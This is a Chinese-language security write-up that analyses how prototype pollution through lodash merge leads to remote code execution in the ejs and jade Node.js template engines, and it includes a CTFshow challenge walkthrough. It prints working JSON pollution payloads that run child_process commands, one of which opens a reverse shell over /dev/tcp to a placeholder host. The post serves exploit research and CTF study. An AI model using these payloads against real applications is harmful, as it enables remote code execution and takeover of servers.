几个node模板引擎的原型链污染分析

0x00 前言

跟着网上文章分析复现一遍ejsRCE链,然后尝试自己探究一下jadeRCE链

RCE 的前提是要有原型链污染

lodash 原型链污染demo

1
2
3
4
5
6
7
var _= require('lodash');
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';

var a = {};
console.log("Before : " + a.oops);
_.merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops);

0x01 ejs

环境和调试代码参考 https://xz.aliyun.com/t/7075#toc-5

逐步跟踪找到渲染模板的compile函数,参考Express+lodash+ejs: 从原型链污染到RCE

从index.js::res.render开始跟进

1613884853031

进入到app.render

1613884939865

然后进入到app.render里的tryrender函数

1613884975131

view.render.

1613885027494

然后看到在View.render开始渲染.从这个函数进入ejs模块

1613885129648

继续跟进到renderFile.里面有tryHandleCache函数

1613885150428

继续跟进到handleCache函数,

1613885224116

在这找到了渲染模板的compile函数

1613885294361

然后在这个函数里实例化了一个模板类,然后编译.

继续跟踪编译函数

1613885416704

可以发现几处关键代码,

正常情况下opts.outputFunctionName为undefined.可以通过原型链污染控制其值,然后拼接到prepended.

prepended在后面传递给了this.source.

1613886363413

this.source在后面作为构造函数参数传递给fn

1613886398105

fn最终通过fn.apply()被调用.

所以控制opts.outputFunctionName就可以注入任意代码.

payload:

1
2
3
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/6666 0>&1\"');var __tmp2"}}

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2"}}

0x02 jade

1.先贴两个利用链

这个之前见到了两个利用链,但是做ctfshow题目的时候都不能利用.

先贴出利用链:

1
2
3
4
1.
{"__proto__":{"self":"true","line":"2,jade_debug[0].filename));return global.process.mainModule.require(\'child_process\').exec(\'calc\')//"}}
2.
{"__proto__":{"self":1,"line":"global.process.mainModule.require(\'child_process\').exec(\'calc\')"}}

2. 利用链分析

参考 https://xz.aliyun.com/t/7025

  • 环境搭建

app.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
const express = require('express');
const path = require('path');
var lodash= require('lodash');
const app = express();
var router = express.Router();

app.set('views', path.join(__dirname));
app.engine('jade', require('jade').__express);
app.set("view engine", "jade");

app.use(express.json()).use(express.urlencoded({
extended: false
}));

var malicious_payload = '{"__proto__":{"self":"true","line":"1000000,jade_debug[0].filename));return global.process.mainModule.require(\'child_process\').exec(\'calc\')//"}}';
lodash.merge({}, JSON.parse(malicious_payload));

router.get('/', (req, res, next) => {
res.render('./index.jade', {
title: 'hello',
name: ''
});
});
app.use('/', router)

app.listen(3000, () => console.log('Example app listening on port http://127.0.0.1:3000 !'))

index.jade

1
2
h1= title
p hello #{name}

直接利用上面的payload会报错

1613890867473

先调试分析漏洞利用点

进入jade模块. res.render=>app.render=>tryRender=>view.render=>this.engine,和ejs差不多.

1613891162165

入口是renderFile函数.进入

1613891209987

注意rendfile函数返回值可执行.进入handleTemplateCache

1613891248155

进入compile函数.

1613891301546

这点和ejs不同,在compile之前会有parse解析.

然后可以看到结果返回到parsed,又传递给了fn.

先不管parse函数,继续向下看代码

1613891409260

可以看到parse后的返回值最终会被当作代码执行.

然后进入parse,审计是否返回值中有可控部分.

1613891512195

parse函数内部可以看到先parse再compile.parse结果最终会被拼接到外层parse函数返回值部分

1613891640298

然后进入compile函数进行审计

1613891684445

可以看到compile函数返回的是buf.

步入代码,this.visit

1613891751528

发现可控的node.line可以被push到buf中.条件是this.debug=True.

1613892764488

可以发现payload是成功拼接到buf里的,但是会报错

1613894266904

跟进报错信息可以发现在Object.exports.renderFile => handleTemplateCache=>Object.exports.compile=>parse=>addWith处.

1613894409463

令options.self为true可避免进入addWith函数.网上的一些文章payload分析也就到此,但是发现这个payload打不通且没有出现很明显的报错,这点留到后面分析.

很偶然的情况下我对模板做出了修改,改成如下的,然后发现就可以造成RCE了

1
2
h1 title: #{title}
p hello #{name}

1613892847603

初步猜测污染self太粗暴,会影响h1= title这种模板渲染方式(不确定猜测是否正确.)

3. Ctfshow题目分析

ctfshow有一道题目也是考察jade链的利用.

只贴模板信息(其余的都差不多)

layout.jade

1
2
3
4
5
6
doctype html
html
head
title= title
body
block content

index.jade

1
2
3
4
5
extends layout

block content
h1= title
p Welcome to #{title}

将上面分析得到的payload打入.报了如下错误.

1613973792970

跟着调用栈分析.最终可以找到在visitNode函数.会有node.type为undefined的情况,

1613974028363

正常情况下node.type值为tag/Block等等,然后调用相应函数.

1613973894835

解决方法就是把type也污染了.全部测试了一下,发现visitxxx函数及可用的如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
visitAttributes
visitEach
visitCode √
visitBlockComment√
visitComment√
visitText
visitFilter
visitTag
visitMixin
visitDoctype√
visitMixinBlock√
visitBlock
visitLiteral
visitWhen
visitCase
visitNode

payload举例

1
{"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('calc')"}}}

4.填坑.

最开始的模板.

1
2
h1= title
p hello #{name}

执行payload会报如下错误.

1613977699618

这个具体哪报错也没分析到,但是尝试污染title.

payload:

1
{"__proto__":{"title":"test","self":1,"line":"global.process.mainModule.require('child_process').exec('calc')"}}

发现就成功了.

1613977799878

0x03 总结.

原型链污染的精髓:undefined属性/值

下面梳理一下上面有关jade RCE链的payload

针对普通的模板:只需要污染self和line.

  • 包括下面这种

    1
    2
    h1 #{title}
    p Welcome to #{title}

    有继承的模板: 需要污染type

顶格的h= title类型的: 污染block属性(title,name这些模板变量)

1
2
h1= title
p hello #{name}

0x04 参考

ejs:

jade: